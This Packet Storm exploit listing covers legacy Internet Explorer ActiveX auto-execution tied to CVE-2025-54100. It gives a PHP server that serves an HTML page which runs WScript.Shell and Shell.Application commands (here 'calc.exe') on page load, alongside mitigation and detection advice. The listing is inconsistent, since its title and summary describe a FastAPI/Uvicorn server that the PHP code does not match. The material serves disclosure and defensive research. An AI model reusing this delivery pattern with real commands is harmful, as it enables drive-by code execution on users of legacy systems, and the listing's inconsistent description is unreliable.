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📄 FastAPI‑Based Delivery Server Proof of Concept

🗓️ 17 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 172 Views

FastAPI and Uvicorn PoC server analyzing legacy ActiveX execution tied to CVE-2025-54100.

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=============================================================================================================================================
    | # Title     : Analyzing Legacy ActiveX Execution Behavior via a FastAPI‑Based Delivery Server                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : System built‑in component. No standalone download available.                                                                |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212823/ & CVE-2025-54100
    
    [+] Summary    : This script is a FastAPI + Uvicorn Proof‑of‑Concept server created for educational and historical analysis related to CVE‑2025‑54100.
    
    Important limitations:
    
    [!] Does NOT work on modern browsers
    
    [!] Does NOT execute real commands today
    
    [!] Not a real exploit
    
    [!] Safe for educational demonstration only
    
    [+] Technical context:
    
    The JavaScript payload uses legacy ActiveX calls such as:
    
    new ActiveXObject("WScript.Shell").Run("calc.exe");
    
    These techniques only worked in the past under very specific conditions:
    
    Internet Explorer
    
    ActiveX explicitly enabled
    
    Extremely low security settings
    
    All modern browsers and operating systems fully block this behavior.
    
    [+] What the PoC demonstrates:
    
    How ActiveX-based execution was historically dangerous
    
    Why Microsoft and browser vendors permanently disabled ActiveX
    
    How browser security policies evolved over time
    
    Why legacy exploit techniques are no longer viable
    
    Why it may appear dangerous to some:
    
    The code looks “powerful”
    
    The presence of a CVE identifier suggests severity
    
    In reality, it relies entirely on deprecated and extinct technologies
    
    [+] Purpose:
    
    Academic reference
    
    Security history education
    
    Legacy vulnerability analysis
    
    Not intended for exploitation or real‑world attacks
    
    [+] Vendor :
    
    Microsoft (Internet Explorer – Legacy Components)
    
    [+] Affected Products :
    
    Internet Explorer (legacy versions with ActiveX enabled)
    
    Windows systems where ActiveX and scripting are explicitly allowed
    
    [+] Affected Components :
    
    WScript.Shell
    
    Shell.Application
    
    ActiveX scripting interfaces exposed to the browser context
    
    [+] Severity :
    
    Medium (Historical / Legacy Risk)
    
    This issue is considered historical and non‑exploitable on modern browsers. It is relevant for research environments, legacy systems, and defensive analysis only.
    
    [+]  POC
    
    This Proof of Concept (PoC) demonstrates how legacy ActiveX objects in Internet Explorer can be invoked automatically when a crafted HTML payload is delivered by a minimal HTTP server. 
    The PoC shows automatic execution attempts using WScript.Shell and Shell.Application without additional user interaction beyond page rendering.
    
    Modern browsers have fully mitigated this behavior by disabling ActiveX. The PoC is intended strictly for educational, defensive, and historical security research.
    
    [+] Technical Details :
    
    When Internet Explorer is configured to:
    
    Allow ActiveX execution
    
    Trust the hosting zone
    
    Permit scripting of unsafe controls
    
    a web page can attempt to instantiate legacy COM objects such as:
    
    new ActiveXObject("WScript.Shell")
    new ActiveXObject("Shell.Application")
    
    The PoC delivers an HTML payload that attempts command execution (e.g., launching calc.exe) immediately upon page load.
    
    The server also exposes a /log endpoint to demonstrate client‑side execution reporting.
    
    [+] PoC Behavior
    
    Lightweight HTTP server
    
    Serves crafted HTML payload
    
    Attempts ActiveX execution on page load
    
    Logs client activity to console
    
    Supported Environment (PoC)
    
    [+] Windows
    
    Internet Explorer (legacy)
    
    ActiveX enabled
    
    Trusted security zone
    
    [+] PHP PoC Code : php poc.php
    
    <?php
    /**
     * ActiveX Legacy Auto-Execution PoC
     * by indoushka
     * PHP 5.6+
     */
    
    set_time_limit(0);
    error_reporting(E_ALL);
    
    $HOST = "0.0.0.0";
    $PORT = 8888;
    $BUF  = 4096;
    
    function payload_html() {
    return <<<HTML
    <!DOCTYPE html>
    <html>
    <head>
        <title>ActiveX Legacy PoC</title>
        <meta http-equiv="X-UA-Compatible" content="IE=10">
    </head>
    <body>
    <h2>PoC Ready</h2>
    <script>
    try {
        new ActiveXObject("WScript.Shell").Run("calc.exe");
    } catch(e) {}
    
    try {
        new ActiveXObject("Shell.Application")
            .ShellExecute("calc.exe","","","open",1);
    } catch(e) {}
    </script>
    </body>
    </html>
    HTML;
    }
    
    $server = stream_socket_server("tcp://$HOST:$PORT", $e, $s);
    echo "[+] Listening on $HOST:$PORT\n";
    
    while ($c = stream_socket_accept($server)) {
        $req = fread($c, $BUF);
    
        if (preg_match('#GET /log\?msg=([^ ]+)#', $req, $m)) {
            echo "[CLIENT_LOG] ".urldecode($m[1])."\n";
            fwrite($c,"HTTP/1.1 200 OK\r\n\r\nOK");
            fclose($c);
            continue;
        }
    
        if (strpos($req,"GET / ") === 0) {
            $html = payload_html();
            fwrite($c,
                "HTTP/1.1 200 OK\r\n".
                "Content-Type: text/html\r\n".
                "Content-Length: ".strlen($html)."\r\n\r\n".
                $html
            );
        } else {
            fwrite($c,"HTTP/1.1 404 Not Found\r\n\r\n");
        }
        fclose($c);
    }
    
    
    Expected output:
    
    [+] Listening on 0.0.0.0:8888
    
    3. Access the PoC
    
    Open Internet Explorer (legacy) and navigate to:
    
    http://SERVER_IP:8888/
    
    
    ⚠️ ActiveX must be enabled
    ⚠️ Page must be in a trusted zone
    
    [+] Impact :
    
    Demonstrates automatic invocation of legacy COM objects
    
    Highlights historical browser trust‑boundary issues
    
    No impact on modern browsers
    
    [+] Useful for:
    
    Security training
    
    Blue‑team detection logic
    
    Legacy system audits
    
    [+] Mitigation :
    
    Disable Internet Explorer
    
    Disable ActiveX entirely
    
    Use modern browsers (Edge, Chrome, Firefox)
    
    Enforce Group Policy restrictions on scripting and COM access
    
    [+] Detection :
    
    Defensive teams can monitor for:
    
    Instantiation of WScript.Shell from browser contexts
    
    Legacy IE process spawning child processes
    
    Unexpected COM object usage from iexplore.exe
    
    [+] Disclaimer :
    
    This Proof of Concept is provided for educational and research purposes only.
    The author does not encourage misuse.
    All testing should be conducted in isolated laboratory environments.
    
    [+] References :
    
    Microsoft ActiveX Security Documentation
    
    Legacy Internet Explorer Security Model
    
    COM Object Abuse Research
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

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17 Dec 2025 00:00Current
6.9Medium risk
Vulners AI Score6.9
CVSS 3.17.8
EPSS0.00156
SSVC
172